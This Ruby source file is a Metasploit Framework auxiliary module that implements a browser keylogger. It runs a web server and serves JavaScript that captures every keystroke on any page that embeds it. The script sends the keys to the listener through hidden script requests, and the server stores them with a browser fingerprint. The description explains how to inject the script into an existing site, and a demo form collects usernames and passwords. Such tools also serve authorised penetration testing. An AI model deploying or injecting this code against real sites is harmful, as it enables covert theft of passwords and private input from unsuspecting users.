##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'			=> 'Capture: HTTP JavaScript Keylogger',
			'Description'	=> %q{
					This modules runs a web server that demonstrates keystroke
				logging through JavaScript. The DEMO option can be set to enable
				a page that demonstrates this technique. Future improvements will
				allow for a configurable template to be used with this module.
				To use this module with an existing web page, simply add a
				script source tag pointing to the URL of this service ending
				in the .js extension. For example, if URIPATH is set to "test",
				the following URL will load this script into the calling site:
				http://server:port/test/anything.js
			},
			'License'	=> MSF_LICENSE,
			'Author'	=> ['Marcus J. Carey <mjc[at]threatagent.com>', 'hdm']
	))

	register_options(
		[
			OptBool.new('DEMO', [true, "Creates HTML for demo purposes", false]),
		], self.class)
	end


	# This is the module's main runtime method
	def run
		@seed = Rex::Text.rand_text_alpha(12)
		@client_cache = {}

		# Starts Web Server
		print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
		exploit
	end

	# This handles the HTTP responses for the Web server
	def on_request_uri(cli, request)

		cid = nil

		if request['Cookie'].to_s =~ /,?\s*id=([a-f0-9]{4,32})/i
			cid = $1
		end

		if not cid and request.qstring['id'].to_s =~ /^([a-f0-9]{4,32})/i
			cid = $1
		end

		data = request.qstring['data']

		unless cid
			cid = generate_client_id(cli,request)
			print_status("Assigning client identifier '#{cid}'")

			resp = create_response(302, 'Moved')
			resp['Content-Type'] = 'text/html'
			resp['Location']     = request.uri + '?id=' + cid
			resp['Set-Cookie']   = "id=#{cid}"
			cli.send_response(resp)
			return
		end

		base_url = generate_base_url(cli, request)

		# print_status("#{cli.peerhost} [#{cid}] Incoming #{request.method} request for #{request.uri}")

		case request.uri
		when /\.js(\?|$)/
			content_type = "text/plain"
			send_response(cli, generate_keylogger_js(base_url, cid), {'Content-Type'=> content_type, 'Set-Cookie' => "id=#{cid}"})

		when /\/demo\/?(\?|$)/
			if datastore['DEMO']
				content_type = "text/html"
				send_response(cli, generate_demo(base_url, cid), {'Content-Type'=> content_type, 'Set-Cookie' => "id=#{cid}"})
			else
				send_not_found(cli)
			end

		else
			if data
				nice = process_data(cli, request, cid, data)
				script = datastore['DEMO'] ? generate_demo_js_reply(base_url, cid, nice) : ""
				send_response(cli, script, {'Content-Type' => "text/plain", 'Set-Cookie' => "id=#{cid}"})
			else
				if datastore['DEMO']
					send_redirect(cli, "/demo/?cid=#{cid}")
				else
					send_not_found(cli)
				end
			end
		end
	end

	# Figure out what our base URL is based on the user submitted
	# Host header or the address of the client.
	def generate_base_url(cli, req)
		port = nil
		host = Rex::Socket.source_address(cli.peerhost)

		if req['Host']
			host = req['Host']
			bits = host.split(':')

			# Extract the hostname:port sequence from the Host header
			if bits.length > 1 and bits.last.to_i > 0
				port = bits.pop.to_i
				host = bits.join(':')
			end
		else
			port = datastore['SRVPORT'].to_i
		end

		prot = (!! datastore['SSL']) ? 'https://' : 'http://'
		if Rex::Socket.is_ipv6?(host)
			host = "[#{host}]"
		end

		base = prot + host
		if not ((prot == 'https' and port.nil?) or (prot == 'http' and port.nil?))
			base << ":#{port}"
		end

		base << get_resource
	end

	def process_data(cli, request, cid, data)

		lines = [""]
		real  = ""

		Rex::Text.uri_decode(data).split(",").each do |char|
			byte = char.to_s.hex.chr
			next if byte == "\x00"
			real << byte
			case char.to_i
			# Do Backspace
			when 8
				lines[-1] = lines[-1][0, lines[-1].length - 1] if lines[-1].length > 0
			when 13
				lines << ""
			else
				lines[-1] << byte
			end
		end

		nice = lines.join("<CR>").gsub("\t", "<TAB>")
		real = real.gsub("\x08", "<DEL>")

		if not @client_cache[cid]

			fp = fingerprint_user_agent(request['User-Agent'] || "")
			header  = "Browser Keystroke Log\n"
			header << "=====================\n"
			header << "Created: #{Time.now.to_s}\n"
			header << "Address: #{cli.peerhost}\n"
			header << "     ID: #{cid}\n"
			header << " FPrint: #{fp.inspect}\n"
			header << "    URL: #{request.uri}\n"
			header << "\n"
			header << "====================\n\n"

			@client_cache[cid] = {
				:created => Time.now.to_i,
				:path_clean => store_loot("browser.keystrokes.clean", "text/plain", cli.peerhost, header, "keystrokes_clean_#{cid}.txt", "Browser Keystroke Logs (Clean)"),
				:path_raw   => store_loot("browser.keystrokes.raw", "text/plain", cli.peerhost, header, "keystrokes_clean_#{cid}.txt", "Browser Keystroke Logs (Raw)")
			}
			print_good("[#{cid}] Logging clean keystrokes to: #{@client_cache[cid][:path_clean]}")
			print_good("[#{cid}] Logging raw keystrokes to: #{@client_cache[cid][:path_raw]}")
		end

		::File.open( @client_cache[cid][:path_clean], "ab") { |fd| fd.puts nice }
		::File.open( @client_cache[cid][:path_raw], "ab")   { |fd| fd.write(real) }

		if nice.length > 0
			print_good("[#{cid}] Keys: #{nice}")
		end

		nice
	end

	def generate_client_id(cli, req)
		"%.8x" % Kernel.rand(0x100000000)
	end


	def generate_demo(base_url, cid)
		# This is the Demo Form Page <HTML>
		html = <<EOS
<html>
<head>
<title>Demo Form</title>
<script type="text/javascript" src="#{base_url}/#{@seed}.js?id=#{cid}"></script>
</head>
<body bgcolor="white">
<br><br>
<div align="center">
<h1>Keylogger Demo Form</h1>
<form method=\"POST\" name=\"logonf\" action=\"#{base_url}/demo/?id=#{cid}\">
<p><font color="red"><i>This form submits data to the Metasploit listener for demonstration purposes.</i></font>
<br><br>
<table border="0" cellspacing="0" cellpadding="0">
<tr><td>Username:</td> <td><input name="username" size="20"></td> </tr>
<tr><td>Password:</td> <td><input type="password" name="password" size="20"></td> </tr>
</table>
<p align="center"><input type="submit" value="Submit"></p></form>

<br/>
<textarea cols="80" rows="5" id="results">
</textarea>

</div>
</body>
</html>
EOS
		return html
	end

	# This is the JavaScript Key Logger Code
	def generate_keylogger_js(base_url, cid)

		targ = Rex::Text.rand_text_alpha(12)

		code = <<EOS

var c#{@seed} = 0;
window.onload = function load#{@seed}(){
	l#{@seed} = ",";

	if (window.addEventListener) {
		document.addEventListener('keypress', p#{@seed}, true);
		document.addEventListener('keydown', d#{@seed}, true);
	} else if (window.attachEvent) {
		document.attachEvent('onkeypress', p#{@seed});
		document.attachEvent('onkeydown', d#{@seed});
	} else {
		document.onkeypress = p#{@seed};
		document.onkeydown = d#{@seed};
	}

}
function p#{@seed}(e){
	k#{@seed} = (window.event) ? window.event.keyCode : e.which;
	k#{@seed} = k#{@seed}.toString(16);
	if (k#{@seed} != "d"){
		#{@seed}(k#{@seed});
	}
}
function d#{@seed}(e){
	k#{@seed} = (window.event) ? window.event.keyCode : e.which;
	if (k#{@seed} == 9 || k#{@seed} == 8 || k#{@seed} == 13){
		#{@seed}(k#{@seed});
	}
}

function #{@seed}(k#{@seed}){
	l#{@seed} = l#{@seed} + k#{@seed} + ",";

	var t#{@seed} = "#{targ}" + c#{@seed};
	c#{@seed}++;

	var f#{@seed};

	if (document.all)
		f#{@seed} = document.createElement("<script name='" + t#{@seed} + "' id='" + t#{@seed} + "'></script>");
	else {
		f#{@seed} = document.createElement("script");
		f#{@seed}.setAttribute("id", t#{@seed});
		f#{@seed}.setAttribute("name", t#{@seed});
	}

	f#{@seed}.setAttribute("src", "#{base_url}?id=#{cid}&data=" + l#{@seed});
	f#{@seed}.style.visibility = "hidden";

	document.body.appendChild(f#{@seed});

	if (k#{@seed} == 13 || l#{@seed}.length > 3000)
		l#{@seed} = ",";

	setTimeout('document.body.removeChild(document.getElementById("' + t#{@seed} + '"))', 5000);
}
EOS
		return code
	end

	def generate_demo_js_reply(base_url, cid, data)
		code = <<EOS
			try {
				document.getElementById("results").value = "Keystrokes: #{data}";
			} catch(e) { }
EOS
		return code
	end

end
